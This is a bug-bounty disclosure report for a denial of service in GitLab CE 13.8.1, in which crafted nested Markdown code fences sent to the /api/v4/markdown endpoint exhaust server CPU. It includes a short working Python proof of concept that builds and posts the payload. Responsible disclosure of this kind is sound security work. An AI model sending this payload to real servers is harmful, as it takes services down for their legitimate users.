Server-side DoS through rendering crafted Markdown documents in GitLab CE versions
HackerOne report #1090049 by phli
on 2021-01-29, assigned to @dcouture:
Report
Summary
Self-hosted GitLab CE versions allow users to feed arbitrary Markdown files for rendering. This can be done in the browser user-interface or command-line APIs (i.e., /api/v4/markdown). Some crafted Markdown files trigger some performance bugs in the Markdown renderers and cause server-side to take unexpectedly longer execution time to render. This can potentially make the server unavailable if the crafted file takes too much CPU time. This cannot be mitigated by tuning application limits.
Steps to reproduce
(1. Environment)
Latest GitLab CE version, 13.8.1, more information can be found below.
And operating system:
Linux labpc 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u2 (2019-11-11) x86_64 GNU/Linux
(2. API request)
Directly query the Markdown API with the crafted Markdown document.
input = "```css\n```typescript\n[\n```\n" * 300000
payload = {'text': input}
start_time = time.time()
response = requests.post("http://REDACTED/api/v4/markdown", data=payload) # replace the URL with your own one. This one only works in my own local area network.
interval = round(time.time() - start_time, 3)
print(interval)
(3. user action )
Just wait for the response and check the execution time. I have tried with the repetition of 300000, the corresponding time exceeds 10 seconds. For your reference, I have tried many other normal inputs in the same size, the execution time is mostly within 1 second. This suggests there definitely is a performance issue in the GitLab's Markdown renderer when handling such an input. You can change the number 300000 to others for your testing.
Impact
The server-side CPU consumption increases if the CPUs are occupied by such Markdown requests. Moreover, DoS can be caused and makes all services unavailable to other normal users and operations.
Examples
To avoid to impact on GitLab.com, I DON'T test on GitLab.com. However, I suspect the problem can also appear in GitLab.com.
(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version)
I am using the latest version, at the time of reporting the bug.
What is the current bug behavior?
(What actually happens, include relevant screenshots, API results, or complete HTTP requests)
So, the execution time is much longer than expected.
What is the expected correct behavior?
I expect the rendering to be done within 1 or 2 seconds. The response from the above script can get the rendered HTML content.
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Output of checks
(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)
Results of GitLab environment info
System information
System: Debian 9.13
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.8.1
Revision: 7248f8bff5a
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.4
URL: http://REDACTED
HTTP Clone URL: http://REDACTED/some-group/some-project.git
SSH Clone URL: git@REDACTED:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.15.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Sophisticated CPU exhaustion DoS.
How To Reproduce
Please add reproducibility information to this section: